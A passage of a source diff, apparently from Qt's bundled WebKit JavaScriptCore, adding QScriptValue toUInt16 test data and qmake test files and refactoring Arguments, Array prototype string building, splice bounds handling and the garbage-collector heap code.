+        toUInt16.insert("QScriptValue(engine, -6.37e-8)", 0);
+        toUInt16.insert("QScriptValue(engine, 0x43211234)", 4660);
+        toUInt16.insert("QScriptValue(engine, 0x10000)", 0);
+        toUInt16.insert("QScriptValue(engine, 0x10001)", 1);
+        toUInt16.insert("QScriptValue(engine, qSNaN())", 0);
+        toUInt16.insert("QScriptValue(engine, qQNaN())", 0);
+        toUInt16.insert("QScriptValue(engine, qInf())", 0);
+        toUInt16.insert("QScriptValue(engine, -qInf())", 0);
+        toUInt16.insert("QScriptValue(engine, \"NaN\")", 0);
+        toUInt16.insert("QScriptValue(engine, \"Infinity\")", 0);
+        toUInt16.insert("QScriptValue(engine, \"-Infinity\")", 0);
+        toUInt16.insert("QScriptValue(engine, \"ciao\")", 0);
+        toUInt16.insert("QScriptValue(engine, QString::fromLatin1(\"ciao\"))", 0);
+        toUInt16.insert("QScriptValue(engine, QString(\"\"))", 0);
+        toUInt16.insert("QScriptValue(engine, QString())", 0);
+        toUInt16.insert("QScriptValue(engine, QString(\"0\"))", 0);
+        toUInt16.insert("QScriptValue(engine, QString(\"123\"))", 123);
+        toUInt16.insert("QScriptValue(engine, QString(\"1.23\"))", 1);
+        toUInt16.insert("engine->evaluate(\"[]\")", 0);
+        toUInt16.insert("engine->evaluate(\"{}\")", 0);
+        toUInt16.insert("engine->evaluate(\"Object.prototype\")", 0);
+        toUInt16.insert("engine->evaluate(\"Date.prototype\")", 0);
+        toUInt16.insert("engine->evaluate(\"Array.prototype\")", 0);
+        toUInt16.insert("engine->evaluate(\"Function.prototype\")", 0);
+        toUInt16.insert("engine->evaluate(\"Error.prototype\")", 0);
+        toUInt16.insert("engine->evaluate(\"Object\")", 0);
+        toUInt16.insert("engine->evaluate(\"Array\")", 0);
+        toUInt16.insert("engine->evaluate(\"Number\")", 0);
+        toUInt16.insert("engine->evaluate(\"Function\")", 0);
+        toUInt16.insert("engine->evaluate(\"(function() { return 1; })\")", 0);
+        toUInt16.insert("engine->evaluate(\"(function() { return 'ciao'; })\")", 0);
+        toUInt16.insert("engine->evaluate(\"(function() { throw new Error('foo'); })\")", 0);
+        toUInt16.insert("engine->evaluate(\"/foo/\")", 0);
+        toUInt16.insert("engine->evaluate(\"new Object()\")", 0);
+        toUInt16.insert("engine->evaluate(\"new Array()\")", 0);
+        toUInt16.insert("engine->evaluate(\"new Error()\")", 0);
+        toUInt16.insert("engine->evaluate(\"a = new Object(); a.foo = 22; a.foo\")", 22);
+        toUInt16.insert("engine->evaluate(\"Undefined\")", 0);
+        toUInt16.insert("engine->evaluate(\"Null\")", 0);
+        toUInt16.insert("engine->evaluate(\"True\")", 0);
+        toUInt16.insert("engine->evaluate(\"False\")", 0);
+        toUInt16.insert("engine->evaluate(\"undefined\")", 0);
+        toUInt16.insert("engine->evaluate(\"null\")", 0);
+        toUInt16.insert("engine->evaluate(\"true\")", 1);
+        toUInt16.insert("engine->evaluate(\"false\")", 0);
+        toUInt16.insert("engine->evaluate(\"122\")", 122);
+        toUInt16.insert("engine->evaluate(\"124\")", 124);
+        toUInt16.insert("engine->evaluate(\"0\")", 0);
+        toUInt16.insert("engine->evaluate(\"0.0\")", 0);
+        toUInt16.insert("engine->evaluate(\"123.0\")", 123);
+        toUInt16.insert("engine->evaluate(\"6.37e-8\")", 0);
+        toUInt16.insert("engine->evaluate(\"-6.37e-8\")", 0);
+        toUInt16.insert("engine->evaluate(\"0x43211234\")", 4660);
+        toUInt16.insert("engine->evaluate(\"0x10000\")", 0);
+        toUInt16.insert("engine->evaluate(\"0x10001\")", 1);
+        toUInt16.insert("engine->evaluate(\"NaN\")", 0);
+        toUInt16.insert("engine->evaluate(\"Infinity\")", 0);
+        toUInt16.insert("engine->evaluate(\"-Infinity\")", 0);
+        toUInt16.insert("engine->evaluate(\"'ciao'\")", 0);
+        toUInt16.insert("engine->evaluate(\"''\")", 0);
+        toUInt16.insert("engine->evaluate(\"'0'\")", 0);
+        toUInt16.insert("engine->evaluate(\"'123'\")", 123);
+        toUInt16.insert("engine->evaluate(\"'12.4'\")", 12);
+        toUInt16.insert("engine->nullValue()", 0);
+        toUInt16.insert("engine->undefinedValue()", 0);
+    }
+    newRow(expr) << toUInt16.value(expr);
+}
+
+void tst_QScriptValue::toUInt16_test(const char*, const QScriptValue& value)
+{
+    QFETCH(quint16, expected);
+    QCOMPARE(value.toUInt16(), expected);
+    QCOMPARE(value.toUInt16(), expected);
+}
+
+DEFINE_TEST_FUNCTION(toUInt16)
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/tests/tests.pri b/src/3rdparty/webkit/JavaScriptCore/qt/tests/tests.pri
new file mode 100644
index 0000000..5af3383
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/tests/tests.pri
@@ -0,0 +1,19 @@
+QMAKE_RPATHDIR = $$OUTPUT_DIR/lib $$QMAKE_RPATHDIR
+QMAKE_LIBDIR = $$OUTPUT_DIR/lib $$QMAKE_LIBDIR
+mac:!static:contains(QT_CONFIG, qt_framework):!CONFIG(webkit_no_framework) {
+    LIBS += -framework QtScript
+    QMAKE_FRAMEWORKPATH = $$OUTPUT_DIR/lib $$QMAKE_FRAMEWORKPATH
+} else {
+    win32-*|wince* {
+        LIBS += -lQtScript$${QT_MAJOR_VERSION}
+    } else {
+        LIBS += -lQtScript
+    }
+}
+
+CONFIG(release, debug|release) {
+    DEFINES += NDEBUG
+}
+
+INCLUDEPATH += $$PWD/../api
+
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/tests/tests.pro b/src/3rdparty/webkit/JavaScriptCore/qt/tests/tests.pro
new file mode 100644
index 0000000..7c3f590
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/tests/tests.pro
@@ -0,0 +1,4 @@
+TEMPLATE = subdirs
+SUBDIRS =   qscriptengine \
+            qscriptvalue \
+            qscriptstring
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/ArgList.h b/src/3rdparty/webkit/JavaScriptCore/runtime/ArgList.h
index 3227770..8e1fdbe 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/ArgList.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/ArgList.h
@@ -104,7 +104,11 @@ namespace JSC {
         void append(JSValue v)
         {
             ASSERT(!m_isReadOnly);
-            
+
+#if ENABLE(JSC_ZOMBIES)
+            ASSERT(!v.isZombie());
+#endif
+
             if (m_isUsingInlineBuffer && m_size < inlineCapacity) {
                 m_vector.uncheckedAppend(v);
                 ++m_size;
@@ -187,6 +191,10 @@ namespace JSC {
             : m_args(args)
             , m_argCount(argCount)
         {
+#if ENABLE(JSC_ZOMBIES)
+            for (size_t i = 0; i < argCount; i++)
+                ASSERT(!m_args[i].isZombie());
+#endif
         }
         
         ArgList(Register* args, int argCount)
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Arguments.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/Arguments.cpp
index 86a8f0a..bb30e3b 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Arguments.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Arguments.cpp
@@ -204,6 +204,19 @@ bool Arguments::getOwnPropertyDescriptor(ExecState* exec, const Identifier& prop
     return JSObject::getOwnPropertyDescriptor(exec, propertyName, descriptor);
 }
 
+void Arguments::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
+{
+    if (mode == IncludeDontEnumProperties) {
+        for (unsigned i = 0; i < d->numArguments; ++i) {
+            if (!d->deletedArguments || !d->deletedArguments[i])
+                propertyNames.add(Identifier(exec, UString::from(i)));
+        }
+        propertyNames.add(exec->propertyNames().callee);
+        propertyNames.add(exec->propertyNames().length);
+    }
+    JSObject::getOwnPropertyNames(exec, propertyNames, mode);
+}
+
 void Arguments::put(ExecState* exec, unsigned i, JSValue value, PutPropertySlot& slot)
 {
     if (i < d->numArguments && (!d->deletedArguments || !d->deletedArguments[i])) {
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Arguments.h b/src/3rdparty/webkit/JavaScriptCore/runtime/Arguments.h
index 9b674a2..9797e08 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Arguments.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Arguments.h
@@ -85,7 +85,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype) 
         { 
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags)); 
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
         }
 
     protected:
@@ -96,6 +96,7 @@ namespace JSC {
         virtual bool getOwnPropertySlot(ExecState*, const Identifier& propertyName, PropertySlot&);
         virtual bool getOwnPropertySlot(ExecState*, unsigned propertyName, PropertySlot&);
         virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
+        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
         virtual void put(ExecState*, const Identifier& propertyName, JSValue, PutPropertySlot&);
         virtual void put(ExecState*, unsigned propertyName, JSValue, PutPropertySlot&);
         virtual bool deleteProperty(ExecState*, const Identifier& propertyName);
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/ArrayPrototype.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/ArrayPrototype.cpp
index 7a89447..4e8dc02 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/ArrayPrototype.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/ArrayPrototype.cpp
@@ -28,6 +28,7 @@
 #include "CachedCall.h"
 #include "Interpreter.h"
 #include "JIT.h"
+#include "JSStringBuilder.h"
 #include "ObjectPrototype.h"
 #include "Lookup.h"
 #include "Operations.h"
@@ -182,8 +183,7 @@ JSValue JSC_HOST_CALL arrayProtoFuncToString(ExecState* exec, JSObject*, JSValue
         totalSize += str.size();
         
         if (!strBuffer.data()) {
-            JSObject* error = Error::create(exec, GeneralError, "Out of memory");
-            exec->setException(error);
+            throwOutOfMemoryError(exec);
         }
         
         if (exec->hadException())
@@ -195,17 +195,16 @@ JSValue JSC_HOST_CALL arrayProtoFuncToString(ExecState* exec, JSObject*, JSValue
     Vector<UChar> buffer;
     buffer.reserveCapacity(totalSize);
     if (!buffer.data())
-        return throwError(exec, GeneralError, "Out of memory");
+        return throwOutOfMemoryError(exec);
         
     for (unsigned i = 0; i < length; i++) {
         if (i)
             buffer.append(',');
         if (RefPtr<UString::Rep> rep = strBuffer[i])
-            buffer.append(rep->data(), rep->size());
+            buffer.append(rep->characters(), rep->length());
     }
     ASSERT(buffer.size() == totalSize);
-    unsigned finalSize = buffer.size();
-    return jsString(exec, UString(buffer.releaseBuffer(), finalSize, false));
+    return jsString(exec, UString::adopt(buffer));
 }
 
 JSValue JSC_HOST_CALL arrayProtoFuncToLocaleString(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -224,42 +223,28 @@ JSValue JSC_HOST_CALL arrayProtoFuncToLocaleString(ExecState* exec, JSObject*, J
     if (alreadyVisited)
         return jsEmptyString(exec); // return an empty string, avoding infinite recursion.
 
-    Vector<UChar, 256> strBuffer;
+    JSStringBuilder strBuffer;
     unsigned length = thisObj->get(exec, exec->propertyNames().length).toUInt32(exec);
     for (unsigned k = 0; k < length; k++) {
         if (k >= 1)
             strBuffer.append(',');
-        if (!strBuffer.data()) {
-            JSObject* error = Error::create(exec, GeneralError, "Out of memory");
-            exec->setException(error);
-            break;
-        }
 
         JSValue element = thisObj->get(exec, k);
-        if (element.isUndefinedOrNull())
-            continue;
-
-        JSObject* o = element.toObject(exec);
-        JSValue conversionFunction = o->get(exec, exec->propertyNames().toLocaleString);
-        UString str;
-        CallData callData;
-        CallType callType = conversionFunction.getCallData(callData);
-        if (callType != CallTypeNone)
-            str = call(exec, conversionFunction, callType, callData, element, exec->emptyList()).toString(exec);
-        else
-            str = element.toString(exec);
-        strBuffer.append(str.data(), str.size());
-
-        if (!strBuffer.data()) {
-            JSObject* error = Error::create(exec, GeneralError, "Out of memory");
-            exec->setException(error);
+        if (!element.isUndefinedOrNull()) {
+            JSObject* o = element.toObject(exec);
+            JSValue conversionFunction = o->get(exec, exec->propertyNames().toLocaleString);
+            UString str;
+            CallData callData;
+            CallType callType = conversionFunction.getCallData(callData);
+            if (callType != CallTypeNone)
+                str = call(exec, conversionFunction, callType, callData, element, exec->emptyList()).toString(exec);
+            else
+                str = element.toString(exec);
+            strBuffer.append(str);
         }
-
-        if (exec->hadException())
-            break;
     }
     arrayVisitedElements.remove(thisObj);
-    return jsString(exec, UString(strBuffer.data(), strBuffer.data() ? strBuffer.size() : 0));
+    return strBuffer.build(exec);
 }
 
 JSValue JSC_HOST_CALL arrayProtoFuncJoin(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -276,38 +261,27 @@ JSValue JSC_HOST_CALL arrayProtoFuncJoin(ExecState* exec, JSObject*, JSValue thi
     if (alreadyVisited)
         return jsEmptyString(exec); // return an empty string, avoding infinite recursion.
 
-    Vector<UChar, 256> strBuffer;
+    JSStringBuilder strBuffer;
 
-    UChar comma = ',';
-    UString separator = args.at(0).isUndefined() ? UString(&comma, 1) : args.at(0).toString(exec);
+    UString separator;
+    if (!args.at(0).isUndefined())
+        separator = args.at(0).toString(exec);
 
     unsigned length = thisObj->get(exec, exec->propertyNames().length).toUInt32(exec);
     for (unsigned k = 0; k < length; k++) {
-        if (k >= 1)
-            strBuffer.append(separator.data(), separator.size());
-        if (!strBuffer.data()) {
-            JSObject* error = Error::create(exec, GeneralError, "Out of memory");
-            exec->setException(error);
-            break;
+        if (k >= 1) {
+            if (separator.isNull())
+                strBuffer.append(',');
+            else
+                strBuffer.append(separator);
         }
 
         JSValue element = thisObj->get(exec, k);
-        if (element.isUndefinedOrNull())
-            continue;
-
-        UString str = element.toString(exec);
-        strBuffer.append(str.data(), str.size());
-
-        if (!strBuffer.data()) {
-            JSObject* error = Error::create(exec, GeneralError, "Out of memory");
-            exec->setException(error);
-        }
-
-        if (exec->hadException())
-            break;
+        if (!element.isUndefinedOrNull())
+            strBuffer.append(element.toString(exec));
     }
     arrayVisitedElements.remove(thisObj);
-    return jsString(exec, UString(strBuffer.data(), strBuffer.data() ? strBuffer.size() : 0));
+    return strBuffer.build(exec);
 }
 
 JSValue JSC_HOST_CALL arrayProtoFuncConcat(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -532,14 +506,19 @@ JSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec, JSObject*, JSValue t
     // 15.4.4.12
     JSArray* resObj = constructEmptyArray(exec);
     JSValue result = resObj;
-    unsigned length = thisObj->get(exec, exec->propertyNames().length).toUInt32(exec);
+
+    // FIXME: Firefox returns an empty array.
     if (!args.size())
         return jsUndefined();
-    int begin = args.at(0).toUInt32(exec);
-    if (begin < 0)
-        begin = std::max<int>(begin + length, 0);
-    else
-        begin = std::min<int>(begin, length);
+
+    unsigned length = thisObj->get(exec, exec->propertyNames().length).toUInt32(exec);
+    double relativeBegin = args.at(0).toInteger(exec);
+    unsigned begin;
+    if (relativeBegin < 0) {
+        relativeBegin += length;
+        begin = (relativeBegin < 0) ? 0 : static_cast<unsigned>(relativeBegin);
+    } else
+        begin = std::min<unsigned>(static_cast<unsigned>(relativeBegin), length);
 
     unsigned deleteCount;
     if (args.size() > 1)
@@ -565,7 +544,7 @@ JSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec, JSObject*, JSValue t
             for (unsigned k = length; k > length - deleteCount + additionalArgs; --k)
                 thisObj->deleteProperty(exec, k - 1);
         } else {
-            for (unsigned k = length - deleteCount; (int)k > begin; --k) {
+            for (unsigned k = length - deleteCount; k > begin; --k) {
                 if (JSValue obj = getProperty(exec, thisObj, k + deleteCount - 1))
                     thisObj->put(exec, k + additionalArgs - 1, obj);
                 else
@@ -745,8 +724,8 @@ JSValue JSC_HOST_CALL arrayProtoFuncEvery(ExecState* exec, JSObject*, JSValue th
             cachedCall.setArgument(0, array->getIndex(k));
             cachedCall.setArgument(1, jsNumber(exec, k));
             cachedCall.setArgument(2, thisObj);
-            
-            if (!cachedCall.call().toBoolean(exec))
+            JSValue result = cachedCall.call();
+            if (!result.toBoolean(cachedCall.newCallFrame(exec)))
                 return jsBoolean(false);
         }
     }
@@ -846,8 +825,8 @@ JSValue JSC_HOST_CALL arrayProtoFuncSome(ExecState* exec, JSObject*, JSValue thi
             cachedCall.setArgument(0, array->getIndex(k));
             cachedCall.setArgument(1, jsNumber(exec, k));
             cachedCall.setArgument(2, thisObj);
-            
-            if (cachedCall.call().toBoolean(exec))
+            JSValue result = cachedCall.call();
+            if (result.toBoolean(cachedCall.newCallFrame(exec)))
                 return jsBoolean(true);
         }
     }
@@ -1034,7 +1013,7 @@ JSValue JSC_HOST_CALL arrayProtoFuncIndexOf(ExecState* exec, JSObject*, JSValue
         JSValue e = getProperty(exec, thisObj, index);
         if (!e)
             continue;
-        if (JSValue::strictEqual(searchElement, e))
+        if (JSValue::strictEqual(exec, searchElement, e))
             return jsNumber(exec, index);
     }
 
@@ -1065,7 +1044,7 @@ JSValue JSC_HOST_CALL arrayProtoFuncLastIndexOf(ExecState* exec, JSObject*, JSVa
         JSValue e = getProperty(exec, thisObj, index);
         if (!e)
             continue;
-        if (JSValue::strictEqual(searchElement, e))
+        if (JSValue::strictEqual(exec, searchElement, e))
             return jsNumber(exec, index);
     }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/BatchedTransitionOptimizer.h b/src/3rdparty/webkit/JavaScriptCore/runtime/BatchedTransitionOptimizer.h
index 929a5e7..74089a5 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/BatchedTransitionOptimizer.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/BatchedTransitionOptimizer.h
@@ -43,7 +43,7 @@ namespace JSC {
 
         ~BatchedTransitionOptimizer()
         {
-            m_object->setStructure(Structure::fromDictionaryTransition(m_object->structure()));
+            m_object->flattenDictionaryObject();
         }
 
     private:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/BooleanObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/BooleanObject.h
index 69c2e51..4b02acb 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/BooleanObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/BooleanObject.h
@@ -34,7 +34,7 @@ namespace JSC {
         
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
     };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Collector.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/Collector.cpp
index 8b647a0..2859290 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Collector.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Collector.cpp
@@ -32,6 +32,7 @@
 #include "JSONObject.h"
 #include "JSString.h"
 #include "JSValue.h"
+#include "JSZombie.h"
 #include "MarkStack.h"
 #include "Nodes.h"
 #include "Tracing.h"
@@ -44,7 +45,7 @@
 #include <wtf/UnusedParam.h>
 #include <wtf/VMTags.h>
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 
 #include <mach/mach_init.h>
 #include <mach/mach_port.h>
@@ -52,45 +53,24 @@
 #include <mach/thread_act.h>
 #include <mach/vm_map.h>
 
-#elif PLATFORM(SYMBIAN)
-#include <e32std.h>
-#include <e32cmn.h>
-#include <unistd.h>
-
-#elif PLATFORM(WIN_OS)
+#elif OS(WINDOWS)
 
 #include <windows.h>
 #include <malloc.h>
 
-#elif PLATFORM(HAIKU)
+#elif OS(HAIKU)
 
 #include <OS.h>
 
-#elif PLATFORM(UNIX)
+#elif OS(UNIX)
 
 #include <stdlib.h>
-#if !PLATFORM(HAIKU)
+#if !OS(HAIKU)
 #include <sys/mman.h>
 #endif
 #include <unistd.h>
 
-#if defined(QT_LINUXBASE)
-#include <dlfcn.h>
-#endif
-
-#if defined(__UCLIBC__)
-// versions of uClibc 0.9.28 and below do not have
-// pthread_getattr_np or pthread_attr_getstack.
-#if __UCLIBC_MAJOR__ == 0 && \
-    (__UCLIBC_MINOR__ < 9 || \
-    (__UCLIBC_MINOR__ == 9 && __UCLIBC_SUBLEVEL__ <= 30))
-#define UCLIBC_USE_PROC_SELF_MAPS 1
-#include <stdio_ext.h>
-extern int *__libc_stack_end;
-#endif
-#endif
-
-#if PLATFORM(SOLARIS)
+#if OS(SOLARIS)
 #include <thread.h>
 #else
 #include <pthread.h>
@@ -100,7 +80,7 @@ extern int *__libc_stack_end;
 #include <pthread_np.h>
 #endif
 
-#if PLATFORM(QNX)
+#if OS(QNX)
 #include <fcntl.h>
 #include <sys/procfs.h>
 #include <stdio.h>
@@ -119,26 +99,17 @@ namespace JSC {
 
 const size_t GROWTH_FACTOR = 2;
 const size_t LOW_WATER_FACTOR = 4;
-const size_t ALLOCATIONS_PER_COLLECTION = 4000;
+const size_t ALLOCATIONS_PER_COLLECTION = 3600;
 // This value has to be a macro to be used in max() without introducing
 // a PIC branch in Mach-O binaries, see <rdar://problem/5971391>.
 #define MIN_ARRAY_SIZE (static_cast<size_t>(14))
 
-#if PLATFORM(SYMBIAN)
-const size_t MAX_NUM_BLOCKS = 256; // Max size of collector heap set to 16 MB
-static RHeap* userChunk = 0;
-#endif
-
 #if ENABLE(JSC_MULTIPLE_THREADS)
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 typedef mach_port_t PlatformThread;
-#elif PLATFORM(WIN_OS)
-struct PlatformThread {
-    PlatformThread(DWORD _id, HANDLE _handle) : id(_id), handle(_handle) {}
-    DWORD id;
-    HANDLE handle;
-};
+#elif OS(WINDOWS)
+typedef HANDLE PlatformThread;
 #endif
 
 class Heap::Thread {
@@ -165,31 +136,13 @@ Heap::Heap(JSGlobalData* globalData)
     , m_currentThreadRegistrar(0)
 #endif
     , m_globalData(globalData)
+#if OS(SYMBIAN)
+    , m_blockallocator(JSCCOLLECTOR_VIRTUALMEM_RESERVATION, BLOCK_SIZE)
+#endif
 {
     ASSERT(globalData);
-
-#if PLATFORM(SYMBIAN)
-    // Symbian OpenC supports mmap but currently not the MAP_ANON flag.
-    // Using fastMalloc() does not properly align blocks on 64k boundaries
-    // and previous implementation was flawed/incomplete.
-    // UserHeap::ChunkHeap allows allocation of continuous memory and specification
-    // of alignment value for (symbian) cells within that heap.
-    //
-    // Clarification and mapping of terminology:
-    // RHeap (created by UserHeap::ChunkHeap below) is continuos memory chunk,
-    // which can dynamically grow up to 8 MB,
-    // that holds all CollectorBlocks of this session (static).
-    // Each symbian cell within RHeap maps to a 64kb aligned CollectorBlock.
-    // JSCell objects are maintained as usual within CollectorBlocks.
-    if (!userChunk) {
-        userChunk = UserHeap::ChunkHeap(0, 0, MAX_NUM_BLOCKS * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE);
-        if (!userChunk)
-            CRASH();
-    }
-#endif // PLATFORM(SYMBIAN)
-    
-    memset(&primaryHeap, 0, sizeof(CollectorHeap));
-    memset(&numberHeap, 0, sizeof(CollectorHeap));
+    memset(&m_heap, 0, sizeof(CollectorHeap));
+    allocateBlock();
 }
 
 Heap::~Heap()
@@ -205,6 +158,9 @@ void Heap::destroy()
     if (!m_globalData)
         return;
 
+    ASSERT(!m_globalData->dynamicGlobalObject);
+    ASSERT(!isBusy());
+    
     // The global object is not GC protected at this point, so sweeping may delete it
     // (and thus the global data) before other objects that may use the global data.
     RefPtr<JSGlobalData> protect(m_globalData);
@@ -212,13 +168,7 @@ void Heap::destroy()
     delete m_markListSet;
     m_markListSet = 0;
 
-    sweep<PrimaryHeap>();
-    // No need to sweep number heap, because the JSNumber destructor doesn't do anything.
-
-    ASSERT(!primaryHeap.numLiveObjects);
-
-    freeBlocks(&primaryHeap);
-    freeBlocks(&numberHeap);
+    freeBlocks();
 
 #if ENABLE(JSC_MULTIPLE_THREADS)
     if (m_currentThreadRegistrar) {
@@ -233,31 +183,25 @@ void Heap::destroy()
         t = next;
     }
 #endif
-
+#if OS(SYMBIAN)
+    m_blockallocator.destroy();
+#endif
     m_globalData = 0;
 }
 
-template <HeapType heapType>
 NEVER_INLINE CollectorBlock* Heap::allocateBlock()
 {
-    // Disable the use of vm_map for the Qt build on Darwin, because when compiled on 10.4
-    // it crashes on 10.5
-#if PLATFORM(DARWIN) && !PLATFORM(QT)
+#if OS(DARWIN)
     vm_address_t address = 0;
-    // FIXME: tag the region as a JavaScriptCore heap when we get a registered VM tag: <rdar://problem/6054788>.
     vm_map(current_task(), &address, BLOCK_SIZE, BLOCK_OFFSET_MASK, VM_FLAGS_ANYWHERE | VM_TAG_FOR_COLLECTOR_MEMORY, MEMORY_OBJECT_NULL, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT);
-#elif PLATFORM(SYMBIAN)
-    // Allocate a 64 kb aligned CollectorBlock
-    unsigned char* mask = reinterpret_cast<unsigned char*>(userChunk->Alloc(BLOCK_SIZE));
-    if (!mask)
+#elif OS(SYMBIAN)
+    void* address = m_blockallocator.alloc();  
+    if (!address)
         CRASH();
-    uintptr_t address = reinterpret_cast<uintptr_t>(mask);
-
-    memset(reinterpret_cast<void*>(address), 0, BLOCK_SIZE);
-#elif PLATFORM(WINCE)
+#elif OS(WINCE)
     void* address = VirtualAlloc(NULL, BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
-#elif PLATFORM(WIN_OS)
-#if COMPILER(MINGW)
+#elif OS(WINDOWS)
+#if COMPILER(MINGW) && !defined(__MINGW64_VERSION_MAJOR)
     void* address = __mingw_aligned_malloc(BLOCK_SIZE, BLOCK_SIZE);
 #else
     void* address = _aligned_malloc(BLOCK_SIZE, BLOCK_SIZE);
@@ -266,7 +210,6 @@ NEVER_INLINE CollectorBlock* Heap::allocateBlock()
 #elif HAVE(POSIX_MEMALIGN)
     void* address;
     posix_memalign(&address, BLOCK_SIZE, BLOCK_SIZE);
-    memset(address, 0, BLOCK_SIZE);
 #else
 
 #if ENABLE(JSC_MULTIPLE_THREADS)
@@ -292,58 +235,64 @@ NEVER_INLINE CollectorBlock* Heap::allocateBlock()
         munmap(reinterpret_cast<char*>(address + adjust + BLOCK_SIZE), extra - adjust);
 
     address += adjust;
-    memset(reinterpret_cast<void*>(address), 0, BLOCK_SIZE);
 #endif
 
+    // Initialize block.
+
     CollectorBlock* block = reinterpret_cast<CollectorBlock*>(address);
-    block->freeList = block->cells;
     block->heap = this;
-    block->type = heapType;
+    clearMarkBits(block);
+
+    Structure* dummyMarkableCellStructure = m_globalData->dummyMarkableCellStructure.get();
+    for (size_t i = 0; i < HeapConstants::cellsPerBlock; ++i)
+        new (block->cells + i) JSCell(dummyMarkableCellStructure);
+    
+    // Add block to blocks vector.
 
-    CollectorHeap& heap = heapType == PrimaryHeap ? primaryHeap : numberHeap;
-    size_t numBlocks = heap.numBlocks;
-    if (heap.usedBlocks == numBlocks) {
+    size_t numBlocks = m_heap.numBlocks;
+    if (m_heap.usedBlocks == numBlocks) {
         static const size_t maxNumBlocks = ULONG_MAX / sizeof(CollectorBlock*) / GROWTH_FACTOR;
         if (numBlocks > maxNumBlocks)
             CRASH();
         numBlocks = max(MIN_ARRAY_SIZE, numBlocks * GROWTH_FACTOR);
-        heap.numBlocks = numBlocks;
-        heap.blocks = static_cast<CollectorBlock**>(fastRealloc(heap.blocks, numBlocks * sizeof(CollectorBlock*)));
+        m_heap.numBlocks = numBlocks;
+        m_heap.blocks = static_cast<CollectorBlock**>(fastRealloc(m_heap.blocks, numBlocks * sizeof(CollectorBlock*)));
     }
-    heap.blocks[heap.usedBlocks++] = block;
+    m_heap.blocks[m_heap.usedBlocks++] = block;
 
     return block;
 }
 
-template <HeapType heapType>
 NEVER_INLINE void Heap::freeBlock(size_t block)
 {
-    CollectorHeap& heap = heapType == PrimaryHeap ? primaryHeap : numberHeap;
+    m_heap.didShrink = true;
 
-    freeBlock(heap.blocks[block]);
+    ObjectIterator it(m_heap, block);
+    ObjectIterator end(m_heap, block + 1);
+    for ( ; it != end; ++it)
+        (*it)->~JSCell();
+    freeBlockPtr(m_heap.blocks[block]);
 
     // swap with the last block so we compact as we go
-    heap.blocks[block] = heap.blocks[heap.usedBlocks - 1];
-    heap.usedBlocks--;
+    m_heap.blocks[block] = m_heap.blocks[m_heap.usedBlocks - 1];
+    m_heap.usedBlocks--;
 
-    if (heap.numBlocks > MIN_ARRAY_SIZE && heap.usedBlocks < heap.numBlocks / LOW_WATER_FACTOR) {
-        heap.numBlocks = heap.numBlocks / GROWTH_FACTOR; 
-        heap.blocks = static_cast<CollectorBlock**>(fastRealloc(heap.blocks, heap.numBlocks * sizeof(CollectorBlock*)));
+    if (m_heap.numBlocks > MIN_ARRAY_SIZE && m_heap.usedBlocks < m_heap.numBlocks / LOW_WATER_FACTOR) {
+        m_heap.numBlocks = m_heap.numBlocks / GROWTH_FACTOR; 
+        m_heap.blocks = static_cast<CollectorBlock**>(fastRealloc(m_heap.blocks, m_heap.numBlocks * sizeof(CollectorBlock*)));
     }
 }
 
-NEVER_INLINE void Heap::freeBlock(CollectorBlock* block)
+NEVER_INLINE void Heap::freeBlockPtr(CollectorBlock* block)
 {
-    // Disable the use of vm_deallocate for the Qt build on Darwin, because when compiled on 10.4
-    // it crashes on 10.5
-#if PLATFORM(DARWIN) && !PLATFORM(QT)
+#if OS(DARWIN)    
